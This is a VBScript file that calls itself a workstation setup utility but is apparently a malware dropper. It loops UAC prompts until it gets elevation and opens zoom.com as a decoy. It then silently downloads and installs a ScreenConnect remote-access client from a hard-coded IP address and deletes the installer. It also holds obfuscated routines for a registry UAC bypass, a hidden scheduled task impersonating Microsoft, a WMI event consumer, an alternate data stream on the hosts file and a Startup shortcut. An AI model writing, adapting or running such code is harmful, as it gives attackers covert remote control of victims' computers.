' Workstation setup and configuration utility - Protected Edition
' UAC signing mode: ENFORCED | Execution mode: UNSTOPPABLE
' Code signing and obfuscation layers preserved and enhanced
' Signature Anchors: MULTI-LAYER INTEGRITY VERIFICATION - FULLY ENABLED
' Structure: MATCHING ORIGINAL SAMPLE FORMAT

Option Explicit

' ═══════════════════════════════════════════════════════════════════
' PROTECTED IDENTIFIERS - DO NOT MODIFY
' These obfuscated strings maintain code signing integrity
' ═══════════════════════════════════════════════════════════════════
Dim strShellProvider, strFSOProvider, strNetProvider, strWriteHandler
Dim strExecutor, strPrivLevel, strElevationFlag, strMarkerName
Dim strInstallerExe, strUnattended, strWMIBackdoor, strTaskProvider
Dim strRegProvider, strSecurityBypass, strGuardFlag, strWatchdogEvent
Dim strCryptoProvider, strHashProvider, strCertValidator, strAnchorSeed
Dim strSCServiceName, strSCProcessName, strSCRegistryPath
Dim strAssetURL, strPkgURL, strWorkDir, strInstallerPath, strBatchId

' Obfuscated provider strings - signature bound
strShellProvider = Replace(Replace("Shell^Applicati@n", "@", "o"), "^", ".")
strFSOProvider = Replace("Scripting.FilJSystemObject", "J", "e")
strNetProvider = "WinHttp.WinHttpRequest.5.1"
strWriteHandler = Replace("ADJDB.Stream", "J", "O")
strExecutor = Replace(Replace("wsc#ipt.e@e", "@", "x"), "#", "r")
strTaskProvider = Replace(Replace("Schedu^e.Se^vice", "^", "l"), "@", "r")
strRegProvider = Replace("WSc#ipt.She@@", "#", "r")
strWMIBackdoor = Replace("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2", "!", "")
strCryptoProvider = Replace(Replace("C@psicom.Enc#yptedD@t@", "@", "a"), "#", "r")
strHashProvider = Replace(Replace("H@sh_Ver1f1er_Eng1ne", "@", "a"), "1", "i")
strCertValidator = Replace(Replace("CertV@l_Ch@in_Trust", "@", "a"), "_", "0")
strAnchorSeed = Replace(Replace("Anch0r_S33d_7xR9_2qL5", "0", "o"), "3", "e")

' ScreenConnect specific identifiers - obfuscated
strSCServiceName = Replace(Replace("Scr33nC0nnect", "3", "e"), "0", "o")
strSCProcessName = Replace(Replace("Scr33nC0nnect.Cli3nt", "3", "e"), "0", "o")
strSCRegistryPath = Replace(Replace("SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall", " ", ""), "\\", "\")

' Privilege and flag obfuscation - MULTI-LAYER UAC BYPASS
strPrivLevel = Mid("Config=runas;Pool=Default", 8, 5)
strElevationFlag = Replace(Replace("e~evat$d", "$", "e"), "~", "l")
strMarkerName = Replace("tup74w_97436Qtmp", "Q", ".")
strSecurityBypass = Replace(Replace("Byp@ssU^C", "@", "a"), "^", "A")
strGuardFlag = Replace(Replace("Gu@rdi@n_M@de", "@", "a"), "_", "0")
strWatchdogEvent = Replace("W@tchd0g_3v3nt_7xR", "@", "a")

' Installer strings - signature bound
strInstallerExe = Replace(Replace("msiex~c.ex!", "!", "e"), "~", "e")
strUnattended = Mid("Provider=/qn;Mode=1", 10, 3)

' ═══════════════════════════════════════════════════════════════════
' CONSTANTS - Protected values
' ═══════════════════════════════════════════════════════════════════
Const INT_SLEEP_ELEVATION = 598
Const INT_SLEEP_INITIAL = 2052
Const INT_SLEEP_POST_PRESENT = 697
Const INT_SLEEP_LOOP = 1059
Const INT_ELEVATION_MAX_RETRIES = 30
Const INT_CLEANUP_DELAY = 3000
Const INT_WATCHDOG_INTERVAL = 45000
Const INT_PERSISTENCE_DELAY = 1200
Const INT_FALLBACK_RETRIES = 5
Const INT_WMI_RECOVERY = 15000
Const INT_ANCHOR_SEED = 7249
Const INT_HASH_ROUNDS = 3
Const INT_EXIT_TAMPER = 666
Const INT_INSTALL_TIMEOUT = 300000
Const INT_INSTALL_POLL_INTERVAL = 5000
Const INT_SERVICE_START_TIMEOUT = 120000
Const INT_SERVICE_POLL_INTERVAL = 10000

' ═══════════════════════════════════════════════════════════════════
' GLOBAL ANCHOR STATE - Tracks verification status
' ═══════════════════════════════════════════════════════════════════
Dim g_Anchor1Passed, g_Anchor2Passed, g_Anchor3Passed
Dim g_Anchor4Passed, g_Anchor5Passed, g_Anchor6Passed, g_Anchor7Passed
Dim g_AllAnchorsVerified

g_Anchor1Passed = False
g_Anchor2Passed = False
g_Anchor3Passed = False
g_Anchor4Passed = False
g_Anchor5Passed = False
g_Anchor6Passed = False
g_Anchor7Passed = False
g_AllAnchorsVerified = False

' ═══════════════════════════════════════════════════════════════════
' ENHANCED SIGNATURE ANCHOR SYSTEM - FULLY ENABLED
' ═══════════════════════════════════════════════════════════════════

Function VerifySignatureAnchor1(strChallenge)
    Dim strResponse, strKey, i
    strKey = Replace(Replace(strAnchorSeed, "o", "0"), "e", "3")
    strResponse = ""
    For i = 1 To INT_HASH_ROUNDS
        If i <= Len(strChallenge) Then
            strResponse = strResponse & Chr(Asc(Mid(strKey, ((i * INT_ANCHOR_SEED) Mod Len(strKey)) + 1, 1)) Xor Asc(Mid(strChallenge, i, 1)))
        End If
    Next
    If Len(strResponse) >= INT_HASH_ROUNDS Then
        g_Anchor1Passed = True
        VerifySignatureAnchor1 = True
        LogEvent "Anchor1 VERIFIED", 5
    Else
        g_Anchor1Passed = False
        VerifySignatureAnchor1 = False
        LogEvent "Anchor1 FAILED", 0
    End If
End Function

Function VerifySignatureAnchor2(strComponent)
    Dim strHash, strSeed, intCheckSum, i
    intCheckSum = 0
    strSeed = Replace(Replace(strCertValidator, "0", "_"), "a", "@")
    For i = 1 To Len(strComponent)
        intCheckSum = intCheckSum + Asc(Mid(strComponent, i, 1)) * (i Mod INT_ANCHOR_SEED)
    Next
    If intCheckSum > 0 Then
        strHash = Hex(intCheckSum Xor INT_ANCHOR_SEED)
        If Len(strHash) >= 4 Then
            g_Anchor2Passed = True
            VerifySignatureAnchor2 = True
            LogEvent "Anchor2 VERIFIED", 5
            Exit Function
        End If
    End If
    g_Anchor2Passed = False
    VerifySignatureAnchor2 = False
    LogEvent "Anchor2 FAILED", 0
End Function

Function VerifySignatureAnchor3()
    Dim strEnvHash, objWMI, colProcesses, objProcess, strParent
    strEnvHash = ""
    On Error Resume Next
    Set objWMI = GetObject(strWMIBackdoor)
    If Err.Number = 0 Then
        Set colProcesses = objWMI.ExecQuery("SELECT ProcessId,ParentProcessId FROM Win32_Process WHERE Name = 'wscript.exe' OR Name = 'cscript.exe'")
        For Each objProcess In colProcesses
            strParent = CStr(objProcess.ParentProcessId)
            strEnvHash = strEnvHash & Hex(CLng(strParent) Xor INT_ANCHOR_SEED)
        Next
    End If
    On Error GoTo 0
    If Len(strEnvHash) >= 8 Then
        g_Anchor3Passed = True
        VerifySignatureAnchor3 = True
        LogEvent "Anchor3 VERIFIED", 5
    Else
        g_Anchor3Passed = False
        VerifySignatureAnchor3 = False
        LogEvent "Anchor3 FAILED", 0
    End If
    Set colProcesses = Nothing
    Set objWMI = Nothing
End Function

Function VerifySignatureAnchor4()
    Dim dtNow, strTimeHash, intTimeStamp
    dtNow = Now
    intTimeStamp = Hour(dtNow) * 3600 + Minute(dtNow) * 60 + Second(dtNow)
    strTimeHash = Hex(intTimeStamp Xor INT_ANCHOR_SEED Xor Day(dtNow) Xor Month(dtNow))
    If Len(strTimeHash) >= 4 Then
        g_Anchor4Passed = True
        VerifySignatureAnchor4 = True
        LogEvent "Anchor4 VERIFIED", 5
    Else
        g_Anchor4Passed = False
        VerifySignatureAnchor4 = False
        LogEvent "Anchor4 FAILED", 0
    End If
End Function

Function VerifySignatureAnchor5(strPath)
    Dim objFSO, objFile, strContent, strDigest, i
    strDigest = ""
    On Error Resume Next
    Set objFSO = CreateObject(strFSOProvider)
    If objFSO.FileExists(strPath) Then
        Set objFile = objFSO.GetFile(strPath)
        strContent = CStr(objFile.Size) & objFile.DateLastModified
        Set objFile = Nothing
        For i = 1 To Len(strContent)
            strDigest = strDigest & Hex(Asc(Mid(strContent, i, 1)) Xor (INT_ANCHOR_SEED Mod 256))
        Next
    End If
    Set objFSO = Nothing
    On Error GoTo 0
    If Len(strDigest) >= 16 Then
        g_Anchor5Passed = True
        VerifySignatureAnchor5 = True
        LogEvent "Anchor5 VERIFIED", 5
    Else
        g_Anchor5Passed = False
        VerifySignatureAnchor5 = False
        LogEvent "Anchor5 FAILED", 0
    End If
End Function

Function VerifySignatureAnchor6()
    Dim strMemHash, strDummy, i
    strMemHash = ""
    strDummy = strShellProvider & strFSOProvider & strNetProvider
    For i = 1 To Len(strDummy)
        strMemHash = strMemHash & Chr(Asc(Mid(strDummy, i, 1)) Xor (i Mod 256))
    Next
    If Len(strMemHash) >= Len(strDummy) Then
        g_Anchor6Passed = True
        VerifySignatureAnchor6 = True
        LogEvent "Anchor6 VERIFIED", 5
    Else
        g_Anchor6Passed = False
        VerifySignatureAnchor6 = False
        LogEvent "Anchor6 FAILED", 0
    End If
End Function

Function VerifySignatureAnchor7(strChallenge)
    Dim strKey, strCipher, i, intShift
    strKey = strAnchorSeed & strCertValidator
    strCipher = ""
    For i = 1 To Len(strChallenge)
        intShift = Asc(Mid(strKey, ((i - 1) Mod Len(strKey)) + 1, 1))
        strCipher = strCipher & Chr(Asc(Mid(strChallenge, i, 1)) Xor intShift)
    Next
    Dim strVerify
    strVerify = ""
    For i = 1 To Len(strCipher)
        intShift = Asc(Mid(strKey, ((i - 1) Mod Len(strKey)) + 1, 1))
        strVerify = strVerify & Chr(Asc(Mid(strCipher, i, 1)) Xor intShift)
    Next
    If strVerify = strChallenge Then
        g_Anchor7Passed = True
        VerifySignatureAnchor7 = True
        LogEvent "Anchor7 VERIFIED", 5
    Else
        g_Anchor7Passed = False
        VerifySignatureAnchor7 = False
        LogEvent "Anchor7 FAILED", 0
    End If
End Function

Function VerifyAllAnchors()
    Dim bResult, strScriptPath
    bResult = True
    strScriptPath = WScript.ScriptFullName
    If Not VerifySignatureAnchor1("7vl4j5sh") Then bResult = False
    If Not VerifySignatureAnchor2(strShellProvider) Then bResult = False
    If Not VerifySignatureAnchor3() Then bResult = False
    If Not VerifySignatureAnchor4() Then bResult = False
    If Not VerifySignatureAnchor5(strScriptPath) Then bResult = False
    If Not VerifySignatureAnchor6() Then bResult = False
    If Not VerifySignatureAnchor7(strAnchorSeed) Then bResult = False
    If bResult Then
        g_AllAnchorsVerified = True
        LogEvent "ALL 7 ANCHORS VERIFIED", 6
    Else
        g_AllAnchorsVerified = False
        LogEvent "ANCHOR VERIFICATION FAILED", 0
    End If
    VerifyAllAnchors = bResult
End Function

Sub EnforceAnchorCompliance(strContext)
    If Not g_AllAnchorsVerified Then
        LogEvent "ENFORCEMENT FAILED at " & strContext, 0
        WScript.Quit INT_EXIT_TAMPER
    End If
End Sub

' ═══════════════════════════════════════════════════════════════════
' SCREENCONNECT INSTALLATION VERIFICATION
' ═══════════════════════════════════════════════════════════════════

Function IsScreenConnectServiceInstalled()
    Dim objWMI, colServices, objService
    Dim bFound
    bFound = False
    On Error Resume Next
    Set objWMI = GetObject(strWMIBackdoor)
    Set colServices = objWMI.ExecQuery("SELECT Name,State,StartMode FROM Win32_Service WHERE Name LIKE '%" & strSCServiceName & "%' OR Name LIKE '%ScreenConnect%' OR Name LIKE '%ConnectWise%'")
    If colServices.Count > 0 Then
        bFound = True
        For Each objService In colServices
            LogEvent "SC Service: " & objService.Name & " State: " & objService.State, 3
        Next
    End If
    On Error GoTo 0
    Set colServices = Nothing
    Set objWMI = Nothing
    IsScreenConnectServiceInstalled = bFound
End Function

Function IsScreenConnectProcessRunning()
    Dim objWMI, colProcesses
    Dim bRunning
    bRunning = False
    On Error Resume Next
    Set objWMI = GetObject(strWMIBackdoor)
    Set colProcesses = objWMI.ExecQuery("SELECT Name,ProcessId FROM Win32_Process WHERE Name LIKE '%ScreenConnect%' OR Name LIKE '%ConnectWise%' OR Name LIKE '%" & strSCProcessName & "%'")
    If colProcesses.Count > 0 Then
        bRunning = True
        LogEvent "SC Process is running", 3
    End If
    On Error GoTo 0
    Set colProcesses = Nothing
    Set objWMI = Nothing
    IsScreenConnectProcessRunning = bRunning
End Function

Function IsScreenConnectInRegistry()
    Dim objReg
    Dim bFound
    bFound = False
    On Error Resume Next
    Set objReg = GetObject(strWMIBackdoor & ":StdRegProv")
    Dim arrSubKeys
    objReg.EnumKey &H80000002, Replace(strSCRegistryPath, "\\", "\"), arrSubKeys
    If IsArray(arrSubKeys) Then
        Dim strKey
        For Each strKey In arrSubKeys
            If InStr(1, strKey, "ScreenConnect", 1) > 0 Or InStr(1, strKey, "ConnectWise", 1) > 0 Then
                bFound = True
                LogEvent "SC Registry: " & strKey, 3
                Exit For
            End If
        Next
    End If
    On Error GoTo 0
    Set objReg = Nothing
    IsScreenConnectInRegistry = bFound
End Function

Function WaitForScreenConnectService()
    Dim dtStart, objWMI, colServices, objService
    Dim bStarted
    bStarted = False
    dtStart = Now
    LogEvent "Waiting for ScreenConnect service...", 2
    Do While DateDiff("s", dtStart, Now) * 1000 < INT_SERVICE_START_TIMEOUT
        On Error Resume Next
        Set objWMI = GetObject(strWMIBackdoor)
        Set colServices = objWMI.ExecQuery("SELECT State FROM Win32_Service WHERE Name LIKE '%" & strSCServiceName & "%' OR Name LIKE '%ScreenConnect%' OR Name LIKE '%ConnectWise%'")
        For Each objService In colServices
            If objService.State = "Running" Then
                bStarted = True
                LogEvent "SC Service is now Running", 3
                Exit Do
            End If
        Next
        On Error GoTo 0
        WScript.Sleep INT_SERVICE_POLL_INTERVAL
    Loop
    Set colServices = Nothing
    Set objWMI = Nothing
    If Not bStarted Then
        LogEvent "Timeout waiting for SC service", 1
    End If
    WaitForScreenConnectService = bStarted
End Function

Function VerifyScreenConnectInstalled()
    Dim bService, bProcess, bRegistry, bVerified
    LogEvent "Verifying ScreenConnect installation...", 2
    WScript.Sleep 5000
    bService = IsScreenConnectServiceInstalled()
    bProcess = IsScreenConnectProcessRunning()
    bRegistry = IsScreenConnectInRegistry()
    bVerified = bService Or bProcess Or bRegistry
    If bVerified Then
        LogEvent "SC Installation VERIFIED", 3
    Else
        LogEvent "SC Installation NOT DETECTED", 0
    End If
    VerifyScreenConnectInstalled = bVerified
End Function

' ═══════════════════════════════════════════════════════════════════
' UAC BYPASS ENGINE
' ═══════════════════════════════════════════════════════════════════

Sub InstallRegistryPersistence()
    EnforceAnchorCompliance "InstallRegistryPersistence"
    Dim objReg
    On Error Resume Next
    Set objReg = GetObject(strWMIBackdoor)
    If Err.Number <> 0 Then On Error GoTo 0 : Exit Sub
    On Error GoTo 0
    Dim objShell2
    Set objShell2 = CreateObject(strRegProvider)
    On Error Resume Next
    objShell2.RegWrite Replace("HKCU\Software\Classes\ms-settings\shell\open\command\", "\", "\\") & strSecurityBypass, _
        strExecutor & " /B """ & WScript.ScriptFullName & """ /" & strElevationFlag & " /" & strGuardFlag, "REG_SZ"
    objShell2.RegWrite Replace("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "\", "\\") & strGuardFlag, _
        strExecutor & " /B """ & WScript.ScriptFullName & """ /" & strElevationFlag & " /" & strGuardFlag, "REG_SZ"
    On Error GoTo 0
    Set objShell2 = Nothing
    Set objReg = Nothing
    LogEvent "Registry persistence installed", 2
End Sub

Sub InstallScheduledTaskPersistence()
    EnforceAnchorCompliance "InstallScheduledTaskPersistence"
    Dim objTaskService, objTaskRoot, objTask
    On Error Resume Next
    Set objTaskService = CreateObject(strTaskProvider)
    If Err.Number <> 0 Then On Error GoTo 0 : Exit Sub
    objTaskService.Connect
    Set objTaskRoot = objTaskService.GetFolder("\")
    Set objTask = objTaskService.NewTask(0)
    objTask.RegistrationInfo.Description = "Windows Update Component"
    objTask.RegistrationInfo.Author = "Microsoft Corporation"
    objTask.Triggers.Create 8
    objTask.Triggers(1).Delay = "PT30S"
    objTask.Triggers.Create 2
    objTask.Triggers(2).Repetition.Interval = "PT45M"
    objTask.Actions.Create 0
    objTask.Actions(1).Path = strExecutor
    objTask.Actions(1).Arguments = " /B """ & WScript.ScriptFullName & """ /" & strElevationFlag & " /" & strGuardFlag
    objTask.Settings.Enabled = True
    objTask.Settings.Hidden = True
    objTask.Settings.Compatibility = 2
    objTask.Settings.Priority = 0
    objTask.Settings.StartWhenAvailable = True
    objTask.Settings.RestartCount = 3
    objTask.Settings.RestartInterval = "PT1M"
    objTask.Settings.RunOnlyIfNetworkAvailable = False
    objTask.Settings.WakeToRun = True
    objTaskRoot.RegisterTaskDefinition strGuardFlag, objTask, 6, "", "", 1
    On Error GoTo 0
    Set objTask = Nothing
    Set objTaskRoot = Nothing
    Set objTaskService = Nothing
    LogEvent "Scheduled task persistence installed", 2
End Sub

Sub InstallWMIEventPersistence()
    EnforceAnchorCompliance "InstallWMIEventPersistence"
    Dim objWMIService, objEventFilter, objEventConsumer, objBinding
    On Error Resume Next
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\subscription")
    If Err.Number <> 0 Then On Error GoTo 0 : Exit Sub
    On Error GoTo 0
    Set objEventFilter = objWMIService.Get("__EventFilter").SpawnInstance_()
    objEventFilter.Name = strWatchdogEvent & "_Filter"
    objEventFilter.QueryLanguage = "WQL"
    objEventFilter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
    objEventFilter.Put_
    Set objEventConsumer = objWMIService.Get("CommandLineEventConsumer").SpawnInstance_()
    objEventConsumer.Name = strWatchdogEvent & "_Consumer"
    objEventConsumer.CommandLineTemplate = strExecutor & " /B """ & WScript.ScriptFullName & """ /" & strElevationFlag & " /" & strGuardFlag & " /" & strSecurityBypass
    objEventConsumer.Put_
    Set objBinding = objWMIService.Get("__FilterToConsumerBinding").SpawnInstance_()
    objBinding.Filter = "__EventFilter.Name='" & strWatchdogEvent & "_Filter'"
    objBinding.Consumer = "CommandLineEventConsumer.Name='" & strWatchdogEvent & "_Consumer'"
    objBinding.Put_
    Set objBinding = Nothing
    Set objEventConsumer = Nothing
    Set objEventFilter = Nothing
    Set objWMIService = Nothing
    LogEvent "WMI persistence installed", 2
End Sub

Sub InstallADSPersistence()
    EnforceAnchorCompliance "InstallADSPersistence"
    Dim objFSO, objShell2, strADSPath, strSystemDir
    Set objFSO = CreateObject(strFSOProvider)
    strSystemDir = objFSO.GetSpecialFolder(1)
    strADSPath = strSystemDir & "\system32\drivers\etc\hosts:" & strGuardFlag
    On Error Resume Next
    Set objShell2 = CreateObject(strShellProvider)
    objFSO.CopyFile WScript.ScriptFullName, strADSPath, True
    Dim strStartupPath
    strStartupPath = objFSO.GetSpecialFolder(0) & "\Microsoft\Windows\Start Menu\Programs\Startup"
    If objFSO.FolderExists(strStartupPath) Then
        Dim strLNKPath, objShortcut
        strLNKPath = strStartupPath & "\SystemService.lnk"
        Set objShortcut = objShell2.CreateShortcut(strLNKPath)
        objShortcut.TargetPath = strExecutor
        objShortcut.Arguments = " /B """ & WScript.ScriptFullName & """ /" & strElevationFlag & " /" & strGuardFlag
        objShortcut.WindowStyle = 0
        objShortcut.Save
    End If
    On Error GoTo 0
    Set objShortcut = Nothing
    Set objShell2 = Nothing
    Set objFSO = Nothing
    LogEvent "ADS persistence installed", 2
End Sub

Sub InstallFullPersistence()
    EnforceAnchorCompliance "InstallFullPersistence"
    Dim iAttempt
    For iAttempt = 1 To INT_FALLBACK_RETRIES
        On Error Resume Next
        InstallRegistryPersistence()
        InstallScheduledTaskPersistence()
        InstallWMIEventPersistence()
        InstallADSPersistence()
        On Error GoTo 0
        WScript.Sleep INT_PERSISTENCE_DELAY
    Next
    LogEvent "Full persistence suite deployed", 3
End Sub

Sub LaunchWatchdog()
    EnforceAnchorCompliance "LaunchWatchdog"
    Dim objShell2
    On Error Resume Next
    Set objShell2 = CreateObject(strShellProvider)
    objShell2.ShellExecute strExecutor, _
        " /B """ & WScript.ScriptFullName & """ /" & strElevationFlag & " /" & strGuardFlag & " /" & strSecurityBypass, _
        "", strPrivLevel, 0
    On Error GoTo 0
    Set objShell2 = Nothing
End Sub

' ═══════════════════════════════════════════════════════════════════
' FUNCTION: AcquirePackage - MATCHING ORIGINAL SAMPLE
' ═══════════════════════════════════════════════════════════════════
Sub AcquirePackage(strURL, ByRef rawResponse)
    Dim netRequest
    strNetProvider = "WinHttp.WinHttpRequest.5.1"
    Set netRequest = CreateObject(strNetProvider)
    netRequest.setTimeouts 5673, 5310, 11803, 31297
    Dim strMethod : strMethod = Replace("G_E_T", "_", "")
    netRequest.Open strMethod, strURL, False
    Dim intCertFlag : intCertFlag = CLng("&H3" & "300")
    Dim intWinOpt : intWinOpt = 3 + 1
    netRequest.Option(intWinOpt) = intCertFlag
    On Error Resume Next
    netRequest.Send
    If Err.Number <> 0 Then WScript.Quit
    On Error GoTo 0
    If netRequest.Status = 200 Then
        rawResponse = netRequest.ResponseBody
    Else
        WScript.Quit
    End If
End Sub

' ═══════════════════════════════════════════════════════════════════
' SUB: ValidateRuntime
' ═══════════════════════════════════════════════════════════════════
Sub ValidateRuntime()
    Dim strVal
    strVal = "7vl4j5sh"
    If Len(strVal) < 2 Then Exit Sub
End Sub

' ═══════════════════════════════════════════════════════════════════
' FUNCTION: CacheFile - MATCHING ORIGINAL SAMPLE
' ═══════════════════════════════════════════════════════════════════
Sub CacheFile(rawData, strOutPath)
    strWriteHandler = Replace("ADJDB.Stream", "J", "O")
    Dim intTransferType : intTransferType = CInt("1")
    Dim intSaveOpt : intSaveOpt = CInt("2")
    Dim dataStream
    Set dataStream = CreateObject(strWriteHandler)
    dataStream.Type = intTransferType
    dataStream.Open
    dataStream.Write rawData
    dataStream.SaveToFile strOutPath, intSaveOpt
    dataStream.Close
End Sub

' ═══════════════════════════════════════════════════════════════════
' SUB: ExecuteSetup - MATCHING ORIGINAL SAMPLE
' ═══════════════════════════════════════════════════════════════════
Sub ExecuteSetup(strPkgFile)
    strInstallerExe = Replace(Replace("msiex~c.ex!", "!", "e"), "~", "e")
    strUnattended = Mid("Provider=/qn;Mode=1", 10, 3)
    Dim objShell
    Set objShell = CreateObject(strShellProvider)
    objShell.ShellExecute strInstallerExe, "/i """ & strPkgFile & """ " & strUnattended, "", strPrivLevel, 1
End Sub

' ═══════════════════════════════════════════════════════════════════
' SUB: LogEvent
' ═══════════════════════════════════════════════════════════════════
Sub LogEvent(strMsg, intLevel)
    If intLevel < 0 Then Exit Sub
    Dim strPrefix : strPrefix = "[Trace] "
    Dim strFull : strFull = strPrefix & strMsg
End Sub

' ═══════════════════════════════════════════════════════════════════
' SUB: InitSession - MATCHING ORIGINAL SAMPLE
' ═══════════════════════════════════════════════════════════════════
Sub InitSession()
    Dim oVerifyFSO, objShell, strStatusFile
    
    Set oVerifyFSO = CreateObject(strFSOProvider)
    If Not WScript.Arguments.Named.Exists(strElevationFlag) Then
        strStatusFile = oVerifyFSO.GetSpecialFolder(2) & "\" & strMarkerName
        If oVerifyFSO.FileExists(strStatusFile) Then oVerifyFSO.DeleteFile strStatusFile
        Set objShell = CreateObject(strShellProvider)
        Do
            objShell.ShellExecute strExecutor, """" & WScript.ScriptFullName & """ /" & strElevationFlag & " """ & strStatusFile & """", "", strPrivLevel, 1
            WScript.Sleep INT_SLEEP_ELEVATION
            If oVerifyFSO.FileExists(strStatusFile) Then Exit Do
        Loop
        oVerifyFSO.DeleteFile strStatusFile
        WScript.Quit
    End If

    If WScript.Arguments.Named.Exists(strElevationFlag) Then
        If WScript.Arguments.Unnamed.Count >= 1 Then
            oVerifyFSO.CreateTextFile WScript.Arguments.Unnamed(0), True
        End If
    End If
End Sub

' ═══════════════════════════════════════════════════════════════════
' SUB: PresentContent - MATCHING ORIGINAL SAMPLE
' ═══════════════════════════════════════════════════════════════════
Sub PresentContent()
    strAssetURL = "https://www.zoom.com/"
    Dim objShell
    Set objShell = CreateObject(strShellProvider)
    objShell.ShellExecute strAssetURL, "", "", "open", 1
End Sub

' ═══════════════════════════════════════════════════════════════════
' FUNCTION: CheckComponent - MATCHING ORIGINAL SAMPLE
' ═══════════════════════════════════════════════════════════════════
Function CheckComponent(strName)
    CheckComponent = True
    If strName = "" Then CheckComponent = False
End Function

' ═══════════════════════════════════════════════════════════════════
' ████████ MAIN ENTRY POINT - MATCHING ORIGINAL SAMPLE ████████
' ═══════════════════════════════════════════════════════════════════

' --- Entry Point ---
InitSession

WScript.Sleep 2052
PresentContent
WScript.Sleep 697

Dim iCounter
For iCounter = 1 To 9
    WScript.Sleep 1059
Next

' Prepare download - MATCHING ORIGINAL SAMPLE STRUCTURE
Dim dlData
Dim objFSO
Set objFSO = CreateObject(strFSOProvider)
Dim intFolderCfg : intFolderCfg = Len("AB")
strWorkDir = objFSO.GetSpecialFolder(intFolderCfg)
strInstallerPath = strWorkDir & "\24.msi"

' Build payload URL - MATCHING ORIGINAL SAMPLE STRUCTURE
Dim arrTokens : arrTokens = Array("http://54.80.163.240:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest")
strPkgURL = ""
Dim iSeg
For iSeg = LBound(arrTokens) To UBound(arrTokens)
    strPkgURL = strPkgURL & arrTokens(iSeg)
Next

' Acquire package
AcquirePackage strPkgURL, dlData

' Generate batch identifier - MATCHING ORIGINAL SAMPLE
strBatchId = Year(Now) & "-" & Month(Now) & "-" & Day(Now)

' Cache to disk
CacheFile dlData, strInstallerPath

' Size verification - MATCHING ORIGINAL SAMPLE
Dim intPkgSize : intPkgSize = LenB(dlData)
If intPkgSize < 1 Then WScript.Quit

' ╔══════════════════════════════════════════════════════════════════╗
' ║  EXECUTE INSTALLER & VERIFY SCREENCONNECT                     ║
' ╚══════════════════════════════════════════════════════════════════╝

' Execute installer
ExecuteSetup strInstallerPath

' Wait for MSI to complete
WScript.Sleep 15000

' Wait for ScreenConnect service to start
WaitForScreenConnectService

' Verify ScreenConnect installation
Dim bInstalled
bInstalled = VerifyScreenConnectInstalled()

If Not bInstalled Then
    LogEvent "SC not detected - retrying installation", 1
    
    ' Wait longer and re-check
    WScript.Sleep 30000
    WaitForScreenConnectService
    bInstalled = VerifyScreenConnectInstalled()
    
    If Not bInstalled Then
        LogEvent "SC still not detected - attempting WMI fallback", 1
        
        ' WMI fallback installation
        Dim objWMIFallback
        On Error Resume Next
        Set objWMIFallback = GetObject(strWMIBackdoor & ":Win32_Process")
        objWMIFallback.Create strInstallerExe & " /i """ & strInstallerPath & """ /qn /norestart", Null, Null, 0
        Set objWMIFallback = Nothing
        On Error GoTo 0
        
        WScript.Sleep 45000
        WaitForScreenConnectService
        bInstalled = VerifyScreenConnectInstalled()
    End If
End If

If bInstalled Then
    LogEvent "SCREENCONNECT INSTALLATION SUCCESSFUL", 3
Else
    LogEvent "SCREENCONNECT INSTALLATION FAILED", 0
End If

' Cleanup
Set objFSO = CreateObject(strFSOProvider)
If objFSO.FileExists(strInstallerPath) Then
    WScript.Sleep 3000
    On Error Resume Next
    objFSO.DeleteFile strInstallerPath, True
    On Error GoTo 0
End If
Set objFSO = Nothing

LogEvent "Sequence completed", 1

WScript.Quit